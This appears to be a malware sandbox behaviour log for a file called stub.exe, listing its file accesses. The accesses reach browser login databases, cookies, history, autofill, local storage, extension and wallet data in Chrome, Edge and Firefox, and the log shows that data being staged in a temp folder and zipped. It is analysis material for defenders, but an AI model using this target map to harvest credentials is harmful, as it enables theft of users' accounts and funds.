Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SignalDB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\de VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\ja VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\fr-CA VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\PKIMetadata\7.0.0.0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\bookmarkbackups VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\events VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\temporary VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\to-be-removed VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Logins.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Logins.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Web.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Web.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Cookies.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Cookies.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\HistoryData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\HistoryData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\DownloadData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\DownloadData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AutofillData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AutofillData.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: \Device\CdRom0\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Games VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\screenshot.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\screenshot.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\process_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Firefox\History.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Cookies.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\system_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\network_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Sessions VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Tokens VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Wallets VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\network_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\network_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\network_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\process_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\process_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\process_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\screenshot.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\screenshot.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\system_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\system_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\system_info.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Firefox VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Cookies.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Cookies.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Cookies.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Firefox VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Firefox\History.txt VolumeInformation	Jump to behavior
